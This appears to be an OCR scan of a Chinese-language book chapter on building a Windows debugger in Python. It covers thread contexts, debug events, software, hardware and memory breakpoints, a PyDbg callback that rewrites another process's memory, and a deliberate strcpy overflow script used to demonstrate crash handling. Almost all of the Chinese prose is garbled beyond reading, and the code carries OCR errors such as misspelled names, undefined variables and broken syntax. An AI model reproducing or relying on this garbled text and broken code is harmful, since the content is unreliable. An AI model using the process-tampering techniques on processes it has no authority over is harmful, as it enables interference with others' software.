It e i & B TH32CS_SNAPTHREAD, tHii/2& 0x00000004, R/~ FATE LN snapshot
HT A CAVEN T 4R . th32ProcessID A& A TR AT EE e B BE R, A e LR
TH32CS_SNAPMODULE, TH32CS_SNAPMODULE32, TH32CS_SNAPHEAPLIST, and
TH32CS_SNAPALL X JLAMEEAT H] % TH32CS_SNAPTHREAD 1] 4 A4 JH ik (1
HiW ). 24 CreateToolhelp32Snapshot()ifi Tl mt 4 ik [Fl— MR BT S AI0E, % T
S P R 50 DA 4 4 B 2 1R A

— HIRAMIN I ks TR, FefImlfe
Thread32FirstOM 25 EA1 T « BRERTWF -

BOOL WINAPI Thread32First(
HANDLE hSnapshot,
LPTHREADENTRY?32 Ipte



);

hSnapshot 4 /& I i 1 & CreateToolhelp32Snapshot() 3k #3 5i 14 f A, Ipte 8 W] — >
THREADENTRY32 254y CLZiIaa i) X ANE5HI7E Thread32First()E W H ) 5 H 835
78, HAPREE TR — AR FRERIA G E . gt LR

typedef struct THREADENTRY32{
DWORD dwSize;
DWORD cntUsage;
DWORD th32ThreadID,;
DWORD th320wnerProcessID;
LONG tpBasePri;
LONG tpDeltaPri;
DWORD dwFlags;

LE XA G5 8 T Bl TS 1 (1 /2 dwSize, th32ThreadID, A1 th320wnerProcessID 3 NS4,
dwSize W21t Thread32First() il F Z Bi#Iaa4k, R EH ¥ B i THREADENTRY32 451411
KNEEATELT o th32ThreadID 2 J AT B AL AX AN LR TID, 3XANZ 80T LU i i i it
ff) OpenThread() BRI H LLFTIFILERRE, HEATH#EAE . th320wnerProcessID H 78 T 4l
LB SFEMPID. N T ELELENE THRAMM KN H R, 2%
th320wnerProcessID [FI{ELFT H AR FEFEXS LG, AHSE 3 B AN 26 2 FRATTIEAE A . —H 3K
TS T — ARG B, FRATAEE L I FH Thread32Next()FRHUI A1 1)~ — N FE 4%
H. ‘B MIZ %M Thread32First()—+f. EFHH Thread32Next() . 2151 3 K A i o

3.2.2 EFrAERAEKEK

IMAETRATC ARG T — DR A B, 55— P 2R B A3 . X
FLl i GetThreadContext()>KSZHL . [FIFEFAT I AEH SetThreadContext()ii A& &1 1.

BOOL WINAPI GetThreadContext(

HANDLE hThread,
LPCONTEXT IpContext

)i

BOOL WINAPI SetThreadContext(
HANDLE hThread,
LPCONTEXT IpContext



hThread Z4(7& M\ OpenThread() i[9 ({2 FE F1J4H, IpContext #5117 — CONTEXT &4,
HARfE Ak T BT A7 4001 . CONTEXT dEH E 2, & LR

typedef struct CONTEXT {

DWORD ContextFlags;
DWORD  Dr0;
DWORD Drl;
DWORD  Dr2;
DWORD  Dr3;
DWORD  Drb6;
DWORD  Dr7;
FLOATING_SAVE AREA FloatSave;
DWORD  SegGs;
DWORD  SegFs;
DWORD  SegEs;
DWORD  SegDs;
DWORD  Edi
DWORD  Esi;
DWORD  Ebx;
DWORD  Edx;
DWORD  Ecx;
DWORD Eax;
DWORD  Ebp;
DWORD  Eip;
DWORD  SegCs;
DWORD  EFlags;
DWORD  Esp;
DWORD  SegSs;
BYTE ExtendedRegisterssy MAXIMUM_SUPPORTED EXTENSIONT;

WARUE WA 1 A2 e XA FI R T, BT A B g . 7ETA 1T 1Y
TAEH, B REAEH B AN, BT USRI S S K
EFANIREFH RN Z A my debugger.py AEEEP FE e, B0 MIMZS 26 Rk B &5 A7

DR .

#my_debugger.py

class debugger():

def open_thread (self, thread id):

thread_id)

h_thread = kernel32.0penThread(THREAD ALL ACCESS, None,

if h_thread is not None:



return h_thread
else:
print "[*] Could not obtain a valid thread handle."
return False
def enumerate threads(self):
thread _entry = THREADENTRY32()
36 Chapter 3

thread list =[]
snapshot = kernel32.CreateToolhelp32Snapshot(TH32CS
_SNAPTHREAD, self.pid)
if snapshot is not None:
# You have to set the size of the struct
# or the call will fail
thread entry.dwSize = sizeof(thread_entry)
success = kernel32.Thread32First(snapshot,
byref(thread_entry))
while success:
if thread entry.th320wnerProcessID == self.pid:
thread_list.append(thread entry.th32ThreadID)
success = kernel32.Thread32Next(snapshot,
byref(thread_entry))
kernel32.CloseHandle(snapshot)
return thread_list
else:
return False
def get thread context (self, thread_id):
context = CONTEXT()
context.ContextFlags = CONTEXT FULL | CONTEXT DEBUG REGISTERS
# Obtain a handle to the thread
h thread = self.open_thread(thread id)
if kernel32.GetThreadContext(h_thread, byref(context)):
kernel32.CloseHandle(h_thread)
return context
else:
return False

TS DAY AT, AEEATER A BTG NI RE .

#my_test.py

import my_debugger

debugger = my debugger.debugger()

pid = raw_input("Enter the PID of the process to attach to: ")
debugger.attach(int(pid))



list = debugger.enumerate threads()

# For each thread in the list we want to
# grab the value of each of the registers
Building a Windows Debugger 37

for thread in list:
thread context = debugger.get thread context(thread)
# Now let's output the contents of some of the registers
print "[*] Dumping registers for thread ID: 0x%08x" % thread
print "[**] EIP: 0x%08x" % thread context.Eip
print "[**] ESP: 0x%08x" % thread context.Esp
print "[**] EBP: 0x%08x" % thread context.Ebp
print "[**] EAX: 0x%08x" % thread context.Eax
print "[**] EBX: 0x%08x" % thread context.Ebx
print "[**] ECX: 0x%08x" % thread context.Ecx
print "[**] EDX: 0x%08x" % thread context.Edx
print "[*] END DUMP"

debugger.detach()

HPRISAT AR, FIORE B RIS R 3-1 WO i Hodh .

Enter the PID of the process to attach to: 4028
[*] Dumping registers for thread ID: 0x00000550
[**] EIP: 0x7c90eb%4

[**] ESP: 0x0007fde0

[**] EBP: 0x0007fdfc

[**] EAX: 0x006ee208

[**] EBX: 0x00000000

[**] ECX: 0x0007fdd8

[**] EDX: 0x7c90eb9%4

[*] END DUMP

[*] Dumping registers for thread ID: 0x000005¢c0
[**] EIP: 0x7c95077b

[**] ESP: 0x0094fff8

[**] EBP: 0x00000000

[**] EAX: 0x00000000

[**] EBX: 0x00000001

[**] ECX: 0x00000002

[**] EDX: 0x00000003

[*] END DUMP

[*] Finished debugging. Exiting...

Listing 3-1:A N AL CPU %5741

KEET U BATBHEREW AT T I S B AT A AF s PR T IR P AR RS



BREAF R AL R BN ETRATE 2058 B 1 B T A% A% 00 B, R I 18] S — L L
PR AL PR AL T .

3.3 SCIL A A B

h T ARFRATI IR #S RO BT R g 1) AR IBCH N TR AT 3, FRATI 2620045 A7 A28 e
R IR F A, SRR L. 7] 22 FE WaitForDebugEvent() p&EL, 9 eHlifes]—
AR FAE R, FURFl—ANAFELF T (1 DEBUG_EVENT £5#4. 2 B ATTHS 20 b i A
S5, AR AR SEAT T 25, IUAETRATEL P AR A e 454 FL R4 R e T Ab PR AT
DEBUG _EVENT & X1 F:

typedef struct DEBUG_EVENT {

DWORD dwDebugEventCode;

DWORD dwProcessld;

DWORD dwThreadld;

union {
EXCEPTION DEBUG INFO Exception;
CREATE THREAD DEBUG INFO CreateThread,
CREATE PROCESS DEBUG INFO CreateProcessInfo;
EXIT THREAD DEBUG INFO ExitThread;
EXIT PROCESS DEBUG INFO ExitProcess;
LOAD DLL DEBUG_INFO LoadDIl;
UNLOAD DLL DEBUG INFO UnloadDIL;
OUTPUT _DEBUG_STRING_INFO DebugString;
RIP_INFO Riplnfo;

hu;

XA EER TR Z A M5 )8 . dwDebugEventCode f& i LB, ‘B3R M T &4
P4 WaitForDebugEvent() €% o RN PE T, 7RIS (union yu BAFAH )24 KA
M. u B A48 & 5 dwDebugEventCode ¥R 7€, — XNl F:

Event Code Event Code Value Union u Value

0x1 EXCEPTION DEBUG EVENT u.Exception

0x2 CREATE THREAD DEBUG EVENT u.CreateThread

0x3 CREATE PROCESS DEBUG EVENT u.CreateProcessInfo
0x4 EXIT THREAD DEBUG EVENT u.ExitThread

0x5 EXIT PROCESS DEBUG EVENT u.ExitProcess

0x6 LOAD DLL DEBUG EVENT u.LoadDll

0x7 UNLOAD DLL DEBUG EVENT u.UnloadDIl

0x8 OUPUT DEBUG _STRING _EVENT u.DebugString



0x9 RIP_EVENT u.RipInfo
Table 3-1: i F 1

1 i %% dwDebugEventCode 14, sk L 1HT 1) 3 8 £k 21 -5 2 AHXS Y A7 AE u HL
A LEFRAMESOAEEN, WA W AR M, B Suar R AN FAEE . X
SeAE R, FRATREES T BRI A 8 S ECE M — AN KRS A TR . 4R AT
my_debugger.py il our my test.py A,
#my_debugger.py

class debugger():

def init (self):

self.h_process = None
self.pid = None
self.debugger active = False
self.h_thread = None
self.context = None

def get debug_event(self):
debug event =DEBUG_EVENT()
continue_status= DBG_CONTINUE

if kernel32.WaitForDebugEvent(byref(debug_event),INFINITE

# Let's obtain the thread and context information
self.h_thread = self.open_thread(debug_event.dwThread
self.context = self.get thread context(self.h_thread

print "Event Code: %d Thread ID: %d" %
(debug_event.dwDebugEventCode, debug_event.dwThre
kernel32.ContinueDebugEvent(
debug_event.dwProcessld,
debug_event.dwThreadld,
continue_status )
#my _test.py
import my_debugger
debugger = my_debugger.debugger()
pid = raw_input("Enter the PID of the process to attach to: ")
debugger.attach(int(pid))
debugger.run()
debugger.detach()



WRAR I calc.exe, HrtRan R pTR:
Enter the PID of the process to attach to: 2700
3 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
2 Thread ID:
1 Thread ID:
4 Thread ID:

Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:

3976
3976
3976
3976
3976
3976
3976
3976
3976
3976
3912
3912
3912

Listing 3-2: %] cacl.exe I ) FHAEARHY

ST AR S, FA1AF #) CREATE PROCESS EVENT (0x3)Z {12 5 — AN R A1,
B P kM & — M ) LOAD DLL DEBUG EVENT (0x6) H fF , R J5
CREATE THREAD DEBUG EVENT (0x2) i # — /™ ¥ & # . # & #t & — 1
EXCEPTION_DEBUG_EVENT (0x1)#14b=f44F, ‘&t windows & W sl s | & 1, FRVFAE
HEFEJE shr s FE IR AS . B — NS 4F /2 EXIT_THREAD DEBUG_EVENT (0x4), ‘¥
HHERE 3912 &5 G2k

B AN AR O, BN eI A, VR S, B AT AR (B 2R
BN NAFR D). P X Se iR B, (R kA el # 55 — > windows & (1)
Wr &i. $TJF my debugger.py HIALLFACHS:

#my_debugger.py
class debugger():

def init (self):

self.h_process = None
self.pid = None
self.debugger active = False
self.h_thread = None
self.context = None
self.exception = None
self.exception_address = None

def get debug_event(self):



debug event =DEBUG_EVENT()

continue_status= DBG_CONTINUE

if kernel32.WaitForDebugEvent(byref(debug_event),INFINITE):
# Let's obtain the thread and context information
self.h_thread = self.open_thread(debug_event.dwThreadld)
self.context = self.get thread context(self.h_thread)

print "Event Code: %d Thread ID: %d" %
(debug_event.dwDebugEventCode, debug_event.dwThreadld)
# If the event code is an exception, we want to
# examine it further.
if debug_event.dwDebugEventCode == EXCEPTION DEBUG EVENT:
# Obtain the exception code
exception =
debug_event.u.Exception.ExceptionRecord.ExceptionCod
self.exception_address =
debug_event.u.Exception.ExceptionRecord.ExceptionAdd
if exception == EXCEPTION_ACCESS_VIOLATION:
print "Access Violation Detected."
# If a breakpoint is detected, we call an internal
# handler.
elif exception == EXCEPTION_ BREAKPOINT:
continue_status = self.exception_handler breakpoint()
elif ec == EXCEPTION_GUARD PAGE:
print "Guard Page Access Detected."
elif ec == EXCEPTION_SINGLE STEP:
print "Single Stepping."
kernel32.ContinueDebugEvent( debug_event.dwProcessld,
debug_event.dwThreadld,
continue_status )

def exception_handler breakpoint():
print "[*] Inside the breakpoint handler."
print "Exception Address: 0x%08x" %
self.exception_address
return DBG_ CONTINUE

W RARFF IS AT IZA A, R 21 by A E W R S A BE bR BT BN AR B H 45 2R AT
Lo T AR T R DA A T AR AR PSR o T SR AT TR A (1 S BT = AN 7] S B I
Ak B PR H



3.5 ZHEIBT

PHERATE AT T REWEIE R I AT I A A0, RN AW G D RE T JHERAAE
BRI, SEOLRERAE, BEAE, NAF =R . 3R S 0k R T A B
PR, B AR R 2 JE T R R R

341  BHHMA

H T BCE AW, AT RS K I S N HAR BRI N AF . X B
ReadProcessMemory() I WriteProcessMemory()SZH. &A1 AE & AH4LL:

BOOL WINAPI ReadProcessMemory(
HANDLE hProcess,
LPCVOID IpBaseAddress,
LPVOID IpBuffer,
SIZE T nSize,
SIZE T* IpNumberOfBytesRead

);
BOOL WINAPI WriteProcessMemory(
HANDLE hProcess,
LPCVOID IpBaseAddress,
LPCVOID IpBuffer,
SIZE T nSize,
SIZE T* IpNumberOfBytesWritten
);

X P A oR FCAS o R R U % R0 TR b R R B N AE . S A R AR T
IpBaseAddress J& % JT 4f 52 ok & 45 (1) H Ar sk, IpBuffer f5 ) —He g2 pb X, H R4 Ik
IpBaseAddress 1t 1) 24 5% 5 A 1pBaseAddress » nSize s A2 E 1 4 K,
IpNumberOfBytesWritten FH &£, 8 ik & FRATT A8 6% K — RV 5 S B s 5 T (14K
i o

IRAELEFRAT T T 2% SE I A BT A 25 5 T o B SORER A% 002, ASCHR BB N
A BRERAT: T 1o

#my_debugger.py

class debugger():

def init (self):
self.h_process = None
self.pid = None

self.debugger active = False



self.h_thread = None
self.context = None
self.breakpoints = {}

defread process memory(self,address,length):

data ="
read_buf = create_string_buffer(length)
count =¢_ulong(0)

if not kernel32.ReadProcessMemory(self.h_process,
address,
read_buf,
length,
byref(count)):

return False

else:
data +=read bufraw
return data
def write process memory(self,address,data):
count =c_ulong(0)
length = len(data)
¢ _data=c _char p(data[count.value:])
if not kernel32. WriteProcessMemory(self.h_process,
address,
c_data,
length,
byref(count)):
return False
else:
return True
defbp_set(self,address):
if not self.breakpoints.has_key(address):
try:
# store the original byte
original byte = self.read process memory(address, 1)
# write the INT3 opcode
self.write process memory(address, "\xCC")
# register the breakpoint in our internal list
self.breakpoints[address] = (address, original byte)
except:
return False
return True



AR RS O A SR AT AT, BRATFHF ZE A k3 & — M . — R RO B A
PR FH T, R TR
SEaGy, AT ZE A printfOVE ¥ Z a0 H ARk 2. Windows 138 API #&4L T iV 1)
L VAR E — N R B e S 3L, GetProcAddress(), [FIFEH &M kernel32.dll S HIF). XA
BRACTR N FESHu S — M (—AS dll B —
exe M) AR B — AL S T FAT IO HR(1) pR 4L
AL GetModuleHandle() 3k A BEER (1) Al o JR IR

FARPROC WINAPI GetProcAddress(

HMODULE hModule,
LPCSTR IpProcName

);

HMODULE WINAPI GetModuleHandle(
LPCSTR IpModuleName

);

RO MBI SRR PR MBI RO, AR5 B R 3 R B (1 R £
ko ARFATEE ISR EL  SERNIA . (B2 my debugger.py.o

my_debugger.py
class debugger():

def func_resolve(self,dll,function):
handle = kernel32.GetModuleHandleA(dll)
address = kernel32.GetProcAddress(handle, function)
kernel32.CloseHandle(handle)

return address

ARG S AN IRRELE, PEA B printf(). FRATTREM AT o £ ) bk
SRGAEIX N HhE B — AW . 2 RS s ik, BtEEE WA 4, S E R R
PREEPATHEIA . B —NH Y Python JHIAS printf loop.py, #HiA FIHIAGHY.

#printf_loop.py

from ctypes import *

import time

msvert = cdll.msvert

counter = 0

while 1:
msvert.printf("Loop iteration %d!\n" % counter)
time.sleep(2)
counter +=1

AR HIRELE, MNBIHERE, 76 printf() L & K7 5.



#my_test.py

import my_debugger

debugger = my_debugger.debugger()

pid = raw_input("Enter the PID of the process to attach to: ")
debugger.attach(int(pid))

printf address = debugger.func_resolve("msvert.dll","printf")
print "[*] Address of printf: 0x%08x" % printf address
debugger.bp set(printf address)

debugger.run()

WAETFIEINAR, 76 dr 247 HLIZAT printf_loop.py. )\ Windows {T- 55 P 2% HL 3K 75 python.exe
] PID. #RJ5IZ1T my test.py , A PID. VRKEH 2T 1%

Enter the PID of the process to attach to: 4048
[*] Address of printf: 0x77c4186a
[*] Setting breakpoint at: 0x77c4186a

Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:

[*] Exception address: 0x7¢901230

3 Thread ID
6 Thread ID
6 Thread ID
6 Thread ID
6 Thread ID
6 Thread ID
6 Thread ID
6 Thread ID
6 Thread ID
6 Thread ID
6 Thread ID
6 Thread ID
6 Thread ID
6 Thread ID
6 Thread ID
6 Thread ID
6 Thread ID
2 Thread ID
1 Thread ID

: 3148
: 3148
: 3148
: 3148
: 3148
: 3148
: 3148
: 3148
: 3148
: 3148
: 3148
: 3148
: 3148
: 3148
: 3148
: 3148
: 3148
13620
13620

[*] Hit the first breakpoint.
Event Code: 4 Thread ID: 3620
Event Code: 1 Thread ID: 3148

[*] Exception address: 0x77c4186a

[*] Hit user defined breakpoint.

Listing 3-3: Ab A Wr o5 =28 1 A i
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#my_debugger.py

class debugger():

def init (self):

self.h_process = None
self.pid = None
self.debugger active = False
self.h_thread = None
self.context = None
self.breakpoints = {}
self.first breakpoint= True

self.hardware breakpoints = {}

defbp_set hw(self, address, length, condition):
# Check for a valid length value
if length not in (1, 2, 4):
return False
else:
length =1

# Check for a valid condition
if condition not in (HW_ACCESS, HW_EXECUTE, HW_WRITE):

return False



# Check for available slots

if not self.hardware breakpoints.has_key(0):
available = 0

elif not self.hardware breakpoints.has_key(1):
available = 1

elif not self. hardware breakpoints.has_key(2):
available = 2

elif not self. hardware breakpoints.has_key(3):
available = 3

else:

return False

# We want to set the debug register in every thread
for thread_id in self.enumerate threads():
context = self.get thread context(thread id=thread id)

# Enable the appropriate flag in the DR7
# register to set the breakpoint
context.Dr7 |= 1 << (available * 2)

# Save the address of the breakpoint in the
# free register that we found
if  available == 0:
context.Dr0 = address
elif available == 1:
context.Drl = address
elif available == 2:
context.Dr2 = address
elif available == 3:
context.Dr3 = address

# Set the breakpoint condition
context.Dr7 |= condition << ((available * 4) + 16)

# Set the length
context.Dr7 |= length << ((available * 4) + 18)

# Set thread context with the break set
h thread = self.open_thread(thread id)
kernel32.SetThreadContext(h_thread,byref(context))

# update the internal hardware breakpoint array at the used
# slot index.
self.hardware breakpoints[available] = (address,length,condition)



return True

IS AN AR R T B, RATIERE T — D2 BRI A A G R T i —
HIRAAF RN AL, B T AP 502 R bl 4 7 i () i SN TR Z5 A7 28, 2R )5 4T DR7 HIdR&
PEIEAT B FTIE M I, S s IR RATT DA RE S AL IR PEIRT 05 T, AR FRATE B SR
T pR EZR I —> INTL F B () 5 Ab 3

#my_debugger.py
class debugger():

def get debug_event(self):

if self.exception == EXCEPTION ACCESS VIOLATION:
print "Access Violation Detected."

elif self.exception == EXCEPTION BREAKPOINT:
continue_status = self.exception_handler breakpoint()

elif self.exception == EXCEPTION GUARD PAGE:
print "Guard Page Access Detected."

elif self.exception == EXCEPTION_SINGLE STEP:

self.exception_handler single step()

def exception_handler single step(self):
# Comment from PyDbg:
# determine if this single step event occurred in reaction to a
# hardware breakpoint and grab the hit breakpoint.
# according to the Intel docs, we should be able to check for
# the BS flag in Dr6. but it appears that Windows
# isn't properly propagating that flag down to us.
if self.context.Dr6 & 0x1 and self.hardware breakpoints.has key(0):
slot=0
elif self.context.Dr6 & 0x2 and self.hardware breakpoints.has key(1):
slot =1
elif self.context.Dr6 & 0x4 and self.hardware breakpoints.has key(2):
slot =2
elif self.context.Dr6 & 0x8 and self.hardware breakpoints.has key(3):
slot=3
else:
# This wasn't an INT1 generated by a hw breakpoint

continue_status = DBG_EXCEPTION_NOT HANDLED
# Now let's remove the breakpoint from the list



if self.bp_del hw(slot):
continue_status = DBG_CONTINUE
print "[*] Hardware breakpoint removed."
return continue_status
def bp_del hw(self,slot):
# Disable the breakpoint for all active threads
for thread_id in self.enumerate threads():
context = self.get thread context(thread id=thread id)
# Reset the flags to remove the breakpoint
context.Dr7 &= ~(1 << (slot * 2))
# Zero out the address

if  slot==0:

context.Dr0 = 0x00000000
elif slot==1:

context.Drl = 0x00000000
elif slot == 2:

context.Dr2 = 0x00000000
elif slot == 3:

context.Dr3 = 0x00000000
# Remove the condition flag
context.Dr7 &= ~(3 << ((slot * 4) + 16))
# Remove the length flag
context.Dr7 &= ~(3 << ((slot * 4) + 18))
# Reset the thread's context with the breakpoint removed
h_thread = self.open_thread(thread id)
kernel32.SetThreadContext(h thread,byref(context))
# remove the breakpoint from the internal list.
del self.-hardware breakpoints[slot]
return True

AORAR A Sy B 4 INTL gahirh (AR AN, B R AT R 7 A7 a HE 6 B0 E AT
PEWT s GERIN DR6) . WERAT RENE AL HT AU AR E: . B35 MR AR A 57 0 I e L — A
WAL, BURF DR MIARS AL B R, AL 1w e as h BB Rl itk . kR A2 2
my_test.py JFAE printf() L ¥ BB FWT SEF

#my_test.py

import my_debugger

from my_debugger defines import *

debugger = my debugger.debugger()

pid = raw_input("Enter the PID of the process to attach to: ")
debugger.attach(int(pid))

printf = debugger.func_resolve("msvcrt.dll","printf")

print "[*] Address of printf: 0x%08x" % printf



debugger.bp set hw(printf,]1, HW _EXECUTE)
debugger.run()

XANMARBIAE printf() EWCE T —Wal, N RE, st il k. Wi
PR — AT RNV B BIE XA AT E AN T my_debugger defines.py S5
AV ) HW_EXECUTE A28, JXHE 55 e AU 5 il -

AT IR g R W

Enter the PID of the process to attach to: 2504
[*] Address of printf: 0x77c4186a

Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:

3 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
2 Thread ID:
1 Thread ID:
[*] Exception address: 0x7¢901230

3704
3704
3704
3704
3704
3704
3704
3704
3704
3704
3704
3704
3704
3704
3704
3704
3704
2228
2228

[*] Hit the first breakpoint.
Event Code: 4 Thread ID: 2228
Event Code: 1 Thread ID: 3704

[*] Hardware breakpoint removed.
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#my debugger.py

class debugger():

def init (self):

self.h_process = None
self.pid = None
self.debugger active = False
self.h_thread = None
self.context = None
self.breakpoints = {}
self.first breakpoint= True

self.hardware breakpoints = {}

# Here let's determine and store

# the default page size for the system
system_info = SYSTEM_INFO()
kernel32.GetSystemInfo(byref(system_info))
self.page size = system_info.dwPageSize

T RAFBRIN DR, I8 A gl A 2 A 42 1 T AL PR o 58— 2D b JRAT T A g 1
AT I S AEAE T A B — AT . iR VirtualQueryEx() 8 %, B S — A
MEMORY_BASIC_INFORMATION 54, XA 3 7 TURME B . BREOR 2546 i X an
i

SIZE T WINAPI VirtualQuery(
HANDLE hProcess,
LPCVOID IpAddress,
PMEMORY_ BASIC INFORMATION IpBuffer,
SIZE T dwLength

);

typedef struct MEMORY BASIC INFORMATION {
PVOID BaseAddress;
PVOID AllocationBase;

DWORD AllocationProtect;
SIZE T RegionSize;
DWORD State;

DWORD Protect;



DWORD Type;

T S5 44 T BaseAddress FREL A 2 B AT EE 15 BB ¥ 00 R T 4 Mok . B2 R OR A
VirtualProtectEx()i% B ALFR, BRI S WIS :

BOOL WINAPI VirtualProtectEx(
HANDLE hProcess,
LPVOID IpAddress,
SIZE T dwSize,
DWORD fINewProtect,
PDWORD IpflOldProtect

HERATE FERM ., AR 2 M RyEE, Xh— Mg aoaeRE T T
PRI, 73— NS T RN e &L, 7E402E GUARD PAGE EXCEPTION 59 ¥ B
ks A « 2 Ja AR AEWT st bt b, DU & B DX 3 BB o IR A W s st kA T g
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#my_debugger.py

class debugger():
def init (self):

self.guarded pages =11
self.memory_breakpoints = {}

defbp set mem (self, address, size):
mbi = MEMORY_ BASIC INFORMATION()

# If our VirtualQueryEx() call doesn’t return
# a full-sized MEMORY_ BASIC INFORMATION
# then return False
if kernel32.VirtualQueryEx(self.h_process,
address,
byref(mbi),
sizeof(mbi)) < sizeof(mbi):

return False
current_page = mbi.BaseAddress

# We will set the permissions on all pages that are

# affected by our memory breakpoint.



while current page <= address + size:

# Add the page to the list; this will

# differentiate our guarded pages from those

# that were set by the OS or the debuggee process
self.guarded pages.append(current page)

old_protection = ¢_ulong(0)
if not kernel32.VirtualProtectEx(self.h _process,
current_page, size,
mbi.Protect | PAGE _GUARD, byref(old_protection)):
return False

# Increase our range by the size of the
# default system memory page size
current_page += self.page size

# Add the memory breakpoint to our global list
self.memory_breakpoints[address] = (address, size, mbi)

return True
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bp_set(address, description="",restore=True,handler=None)
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#printf_random.py
from pydbg import *



from pydbg.defines import *

import struct

import random

# This is our user defined callback function
def printf randomizer(dbg):

# Read in the value of the counter at ESP + 0x8 as a DWORD
parameter _addr = dbg.context.Esp + 0x8
counter = dbg.read process memory(parameter addr,4)

# When we use read_process_memory, it returns a packed binary
# string. We must first unpack it before we can use it further.
counter = struct.unpack("L",counter)[0]

print "Counter: %d" % int(counter)

# Generate a random number and pack it into binary format
# so that it is written correctly back into the process
random_counter = random.randint(1,100)

random_counter = struct.pack("L",random_counter)[0]

# Now swap in our random number and resume the process

dbg.write_process_memory(parameter addr,random_counter)

return DBG_ CONTINUE
# Instantiate the pydbg class
dbg = pydbg()
# Now enter the PID of the printf loop.py process
pid = raw_input("Enter the printf loop.py PID: ")
# Attach the debugger to that process
dbg.attach(int(pid))
# Set the breakpoint with the printf randomizer function
# defined as a callback
printf address = dbg.func_resolve("msvert","printf")
dbg.bp_set(printf address,description="printf address",handler=printf randomizer)
# Resume the process
dbg.run()

WAEIZAT printf_loop.py H1 printf random.py PN SCF. Hrth 45 ¥ A1 4-1 AHALL.

Table 4- 111X a5 ARERE ) i
Output from Debugger Output from Debugged Process
Enter the printf loop.py PID: 3466 Loop iteration 0!

Loop iteration 1!

Loop iteration 2!



Loop iteration 3!

Counter: 4 Loop iteration 32!
Counter: 5 Loop iteration 39!
Counter: 6 Loop iteration 86!
Counter: 7 Loop iteration 22!
Counter: 8 Loop iteration 70!
Counter: 9 Loop iteration 95!
Counter: 10 Loop iteration 60!

T AR, iERAIFF printf_loop.py FAH.
from ctypes import *
import time
msvert = cdll.msvert
counter = 0
while 1:
msvert.printf("Loop iteration %d!\n" % counter)
time.sleep(2)
counter +=1

SeHB A — A, printf()FE 32 1111X ™ counter & A AL counter ¥4 UL, )& UiAE printf
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#buffer_overflow.py

from ctypes import *

msvert = cdll.msvert

# Give the debugger time to attach, then hit a button
raw_input("Once the debugger is attached, press any key.")
# Create the 5-byte destination buffer

buffer =c_char p("AAAAA")

# The overflow string

overflow ="A" * 100

# Run the overflow

msvecrt.strepy(buffer, overflow)

5] 7 H 7E1X ) msvert.strepy(buffer, overflow), 32 [N e — M e, A& IE4 &)
e — AR, R & overflow 4 AE F8 B AE T, 4R Sk Y AE M dk
(0x41414141414....0 A[EIXAHIEZR AR A REHIK . IMAETRAT & MG 7 Ml %401,
BRI T .

#access_violation_handler.py

from pydbg import *

from pydbg.defines import *

# Utility libraries included with PyDbg
import utils

# This is our access violation handler
def check accessv(dbg):

# We skip first-chance exceptions
if dbg.dbg.u.Exception.dwFirstChance:

return DBG_EXCEPTION NOT_HANDLED
crash_bin = utils.crash_binning.crash_binning()
crash_bin.record crash(dbg)
print crash_bin.crash synopsis()

dbg.terminate process()

return DBG_EXCEPTION NOT_HANDLED
pid = raw_input("Enter the Process ID: ")
dbg = pydbg()
dbg.attach(int(pid))
dbg.set callback(EXCEPTION ACCESS VIOLATION,check accessv)
dbg.run()

IAEIZAT buffer overflow.py, JFid F'eMEERES, TACE (5 S 5¢ LG FHS1T.



AT access_violation handler.py 3/, A NNAE) PID. i85 M i 22t FE LU, 72
IR A 2 FLALAR B, 9% R ORARVAZE BIANER 4-1 ARLLA St
python25.dll:1e071cd8 mov ecx,[eax+0x54] from thread 3376 caused access
violation when attempting to read from 0x41414195 CONTEXT
DUMP
EIP: 1e071cd8 mov ecx,[eax+0x54]
EAX: 41414141 (1094795585) -> N/A
EBX: 00b055d0 (  11556304) -> @U™" B'Ox, 0 )Xb@|V'"L{O+H]$6 (heap)
ECX: 0021fe90 ( 2227856) -> 1$4/7/4|@%,\!$H8|!OGGBG)00S\o (stack)
EDX: 00aldc60 ( 10607712) -=> VO'w'W (heap)
EDI: 1e071cd0 ( 503782608) -> N/A
ESI: 00284220 ( 11026976) -> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (heap)
EBP: lelcf448 ( 505214024) -> enable() -> NoneEnable automa (stack)
ESP: 0021fe74 ( 2227828) ->2? BUH" 7|4|@%,\!$H8|!OGGBG) (stack)
+00: 00000000 ( 0) > N/A
+04: 1e063132 ( 503725874) -> N/A
+08: 00a84220 ( 11026976) -> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

(heap)
+0c: 00000000 ( 0) > N/A
+10: 00000000 ( 0) > N/A

+14: 00b055¢0 ( 11556288) > @F@U"" B'Ox,'0 )Xb@|V'"L{O+H]$ (heap)

disasm around:
0x1e071ccY int3
Oxle071cca int3
0Ox1e071ccb int3
Ox1le071ccc int3
Ox1le071ccd int3
Ox1le071cce int3
Ox1e071ccfint3
0x1e071cd0 push esi
0x1e071cdl mov esi,[esp+0x8]
0x1e071cdS mov eax,[esi+0x4]
0x1e071cd8 mov ecx,[eax+0x54]
0x1e071cdb test ch,0x40
Ox1e071cde jz Ox1e071cff
0x1e071ce0 mov eax,[eax+0xa4]
0x1e071ce6 test eax,eax
Ox1e071ce8 jz Ox1e071cf4
Ox1e071cea push esi
Ox1e071ceb call eax
Ox1e071ced add esp,0x4
0x1e071cf0 test eax,eax
0x1e071cf2 jz 0x1e071cff



SEH unwind:
0021ffe0 -> python.exe:1d00136¢ jmp [0x1d002040]
Tttt -> kernel32.d11:7c¢839aa8 push ebp

Listing 4-1: PyDbg ffli#2 2| 155 i (5 5
